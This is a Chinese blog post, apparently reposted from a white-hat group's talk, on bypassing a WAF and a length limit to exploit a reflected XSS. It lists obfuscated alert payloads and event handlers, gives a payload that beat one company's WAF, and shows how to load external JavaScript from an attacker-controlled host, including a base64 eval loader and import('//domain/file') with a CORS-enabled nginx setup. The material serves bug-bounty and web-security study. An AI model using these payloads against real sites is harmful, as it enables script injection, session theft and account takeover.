本文来自白帽一百少先队内部分享会。
起因
从某站一处反射XSS说起
输出点可以插入 XSS Payload 进行测试攻击。
例如:
<svg onload=alert(1)> <img src onerror=alert(1)>
很不幸运的是,会被 WAF 拦截。
所以如何 bypass waf 呢?
Bypass Waf
这里给出一些构造特殊的 XSS Payload:
JS代码 [1].find(alert); top['al\x65rt'](2); top["al"+"ert"](3); setTimeout('ale'+'rt(4)'); Function("ale"+"rt(5)")(); new Function`al\ert\`6\``; setInterval('ale'+'rt(7)'); top[8680439..toString(30)](8); top[/al/.source+/ert/.source](9); open('java'+'script:ale'+'rt(10)');
给出一些特殊的 On 事件:
onmousedown onmousemove onmouseout onmouseover onmouseup onmousewheel onscroll onabort oncanplay oncanplaythrough onended onerror onloadeddata onloadedmetadata onloadedstart onpause onplay onplaying onprogress ......
通过上述一些比较不常见的事件以及攻击方法,我们可以自行构造出一系列 payload 进行 fuzz 测试。
最后成功使用以下 payload bypass 某公司 waf。
<svg><discard onbegin=[1].find(alert)>
遇到 XSS 长度限制难题
有时候,即使你发现的 XSS 漏洞能够反射弹窗了,但也无法引入外部 js。
(因为有些接口会对参数内容,长度等进行审计拦截)
我们可以大致列举一下,平时我们引入 js 的一些方法:
最最最常见的 d=document;z=d.createElement("script"); z.src="//IP:PORT";d.body.appendChild(z); 我常用的 appendChild(createElement('script')).src='//xx.xx' 编个码的(base64) eval(atob('ZD1kb2N1bWVudDt6PWQuY3Jl YXRlRWxlbWVudCgic2NyaXB0Iik7ei5zcmM9Ii8v SVA6UE9SVCI7ZC5ib2R5LmFwcGVuZENoaWxkKHopOw=='))
我们可以对上面那个反射 XSS 进行测试,发现他对于输出点做了字符长度限制。
所以我们要做的是:在 44 位字符内,bypass WAF 后加载外部 JS。
询问大佬。
无果后,自己反复思考,参考各类资料。产生以下思路。
突破 XSS 长度限制的思路
1.一种思路
hash 属性是一个可读可写的字符串。
该字符串是 URL 的锚部分(从 # 号开始的部分)
我们企图通过 url 自定义一个锚,通过 substr 截取锚部分之后的内容,也就是自己的 url,此后传递到 eval 函数中去。
长度为 52,大于 44。失败了,只能继续找其他的方法,逛逛 twitter,看看 xss 大神。
webkit 引擎浏览器中可使用,例如 Chrome、Safari、Opera。
import('//domain/file')
但是必须满足以下条件:
- 使用相同的协议 不然会遇到: no referrer when downgrade 无法执行
- 外部文件 MIME 为 application/javascript 并允许跨域加载(CORS)
话不多说,直接上手。
1.申请 SSL 证书(满足协议)
2.在 nginx 配置中添加(允许跨域加载)
location ~ .*\.(js|css)?${ add_header Access-Control-Allow-Origin *; }
3.添加一个 JS 文件,并将其添加到 nginx 默认首页中
server { ... index index.php index.html 1.js ...}
成果:
计算长度。
3.题外话
虽然这个漏洞已经成功提交了,也拿到了奖励。我们可以思考一下,能不能变得更短?
根据我在推特上看到的文章,在 Chrome 中,浏览器会将一些奇奇怪怪的 Unicode 字符在 URL 中解析为多个字符的组合。
例如: ㏕ -> mil | Ⅷ -> VIII | ㏒ -> log
等等...
但是它们的长度,在 JS 以及其他的语言判定的长度还是为 1 位。这种有趣的特性,让我们可以 “短上更短”,在特定情况下 还可以实现对一些 WAF 的绕过。
PS:
本文是我在某公众号看到的文章,为了方便本站的 XSS 平台会员们,特意转发过来,希望各位能有学习到的地方。
另外弱弱的吐槽下,大佬是真大佬,就是这文笔排版是真菜鸡,看我的好尴尬[aru_25],简单小改了一下下。。
本文作者为Huuuuu,转载请注明,尊守博主劳动成果!
由于经常折腾代码,可能会导致个别文章内容显示错位或者别的 BUG 影响阅读; 如发现请在该文章下留言告知于我,thank you !
强啊,霸哥
@Tesla霸哥,想付费咨询一个留言本的权限问题。